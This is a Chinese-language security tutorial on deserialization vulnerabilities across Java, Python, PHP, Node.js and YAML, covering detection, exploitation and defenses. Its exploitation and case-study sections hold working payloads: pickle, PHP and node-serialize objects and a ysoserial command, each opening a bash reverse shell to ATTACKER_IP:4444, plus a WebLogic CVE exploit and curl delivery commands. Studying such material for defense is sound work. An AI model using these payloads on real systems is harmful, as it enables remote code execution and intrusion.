反序列化漏洞详解
漏洞概述
反序列化漏洞发生在应用程序将不可信的序列化数据还原为对象时。攻击者可以构造恶意序列化对象,在反序列化过程中执行任意代码。
OWASP Top 10: A08:2021 (Software and Data Integrity Failures)
危害等级: ⭐⭐⭐⭐⭐
常见序列化格式
| 语言 |
序列化格式 |
危险函数 |
| Java |
Java Serialization, Hessian, Kryo |
readObject() |
| Python |
pickle, marshal, yaml |
pickle.loads(), yaml.load() |
| PHP |
serialize(), unserialize() |
unserialize() |
| Ruby |
Marshal, YAML |
Marshal.load(), YAML.load() |
| Node.js |
node-serialize, funcster |
node-serialize.unserialize() |
漏洞检测
特征识别
# Java 序列化
AC ED 00 05 (魔数)
rO0AB (Base64)
# Python pickle
\x80\x04\x95 (Python 3)
\x80\x03 (Python 2)
# PHP 序列化
O:4:"User": (对象)
a:3:{ (数组)
# YAML
!!python/object
!!python/object/apply
工具检测
# Java
java -jar ysoserial.jar CommonsCollections1 "command" | xxd
# Python
python3 -c "import pickle; print(pickle.dumps(__import__('os').system('id')))"
# PHP
php -r 'echo serialize(new stdClass());'
# 扫描工具
- Burp Suite (Java Deserialization Scanner)
- SerializationDumper
- ysoserial
利用方法
Java 反序列化
// 使用 ysoserial 生成 payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9YWFgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64
// 常见 Gadget Chains
CommonsCollections1-6
CommonsBeanutils1
CommonsFileUpload1
Groovy1
发送 Payload:
# 发送序列化数据
curl -X POST http://target.com/api \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @payload.bin
# Base64 编码
curl -X POST http://target.com/api \
-H "Content-Type: application/json" \
-d '{"data":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=="}'
Python 反序列化
# 漏洞代码
import pickle
data = pickle.loads(user_input)
# 构造恶意 Payload
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))
payload = pickle.dumps(RCE())
print(payload)
# 发送
curl -X POST http://target.com/api \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
PHP 反序列化
// 漏洞代码
$data = unserialize($_COOKIE['data']);
// 构造 Payload
class RCE {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
$exploit = new RCE();
$exploit->cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'";
echo urlencode(serialize($exploit));
// 输出:
// O:3:"RCE":1:{s:3:"cmd";s:57:"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'";}
POP Chain 示例:
// 利用现有类的魔术方法
class A {
public $obj;
function __destruct() {
$this->obj->execute();
}
}
class B {
public $cmd;
function execute() {
system($this->cmd);
}
}
// 构造链
$a = new A();
$b = new B();
$b->cmd = "id";
$a->obj = $b;
echo serialize($a);
Node.js 反序列化
// 漏洞代码 (node-serialize)
const serialize = require('node-serialize');
const user = serialize.unserialize(req.cookies.profile);
// 构造 Payload
const payload = {
rce: function(){
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"', function(error, stdout, stderr) {
console.log(stdout);
});
}
};
// 序列化并发送
console.log(serialize.serialize(payload));
// {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec...}"}
YAML 反序列化
# 漏洞代码 (Python)
import yaml
data = yaml.load(user_input)
# 利用
import yaml
payload = """
!!python/object/apply:os.system
args: ["id"]
"""
yaml.load(payload)
# 或
payload = """
!!python/object/new:os.system
args: ["id"]
"""
实战案例
案例 1: Java WebLogic
# 检测
nmap --script weblogic-t3-info -p 7001 target.com
# 利用 (CVE-2017-10271)
python weblogic-cve-2017-10271.py http://target.com:7001 "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
# 使用 ysoserial
java -jar ysoserial.jar CommonsCollections5 "command" > payload.bin
curl -X POST http://target.com:7001/wls-wsat/CoordinatorPortType -d @payload.bin
案例 2: Python Flask
# 漏洞代码 (使用 pickle 处理 session)
from flask import Flask, request
import pickle
app = Flask(__name__)
@app.route('/profile')
def profile():
data = pickle.loads(request.cookies.get('profile'))
return data
# 利用脚本
import pickle
import os
import requests
class Exploit:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))
payload = pickle.dumps(Exploit())
cookies = {'profile': payload}
requests.get('http://target.com/profile', cookies=cookies)
案例 3: PHP Laravel
// CVE-2017-9841 (Laravel RCE)
// 利用 PHPUnit 的 PHP 代码执行
# 生成 Payload
php -r 'echo base64_encode(serialize(new PHPUnit_Framework_MockObject_Invocation_Object("system", ["id"])));'
# 发送
curl -X POST http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \
-d "O:40:\"PHPUnit_Framework_MockObject_Invocation_Object\":1:{...}"
防御建议
Java
// 1. 使用白名单验证
private static class WhiteListClassLoader extends ClassLoader {
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
if (!name.startsWith("java.") && !name.startsWith("javax.")) {
throw new SecurityException("Unauthorized class: " + name);
}
return super.loadClass(name, resolve);
}
}
// 2. 使用安全库
// commons-io IOUtils
// Apache Commons Serialization
// 3. 避免 Java 原生序列化
// 改用 JSON (Jackson, Gson)
Python
# 1. 使用安全的序列化格式
import json
data = json.loads(user_input) # ✅ 安全
# 2. 如果必须用 pickle,使用限制
import pickle
import io
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in ["str", "int", "list", "dict"]:
return getattr(__import__(module), name)
raise pickle.UnpicklingError(f"Global '{module}.{name}' is forbidden")
data = RestrictedUnpickler(io.BytesIO(pickle_data)).load()
# 3. 使用 yaml.safe_load()
import yaml
data = yaml.safe_load(user_input) # ✅ 安全
PHP
// 1. 避免 unserialize()
// 改用 JSON
$data = json_decode($json_input, true);
// 2. 使用签名验证
$signed_data = $_COOKIE['data'];
$signature = hash_hmac('sha256', $signed_data, $secret_key);
// 验证签名后再反序列化
// 3. 使用 allowed_classes
$data = unserialize($input, ["allowed_classes" => false]);
$data = unserialize($input, ["allowed_classes" => ["User", "Product"]]);
通用防御
- 避免使用原生序列化 - 改用 JSON/Protobuf
- 输入验证 - 白名单验证类名
- 签名验证 - HMAC 签名防止篡改
- 最小权限 - 运行在低权限环境
- WAF 规则 - 检测序列化特征
参考链接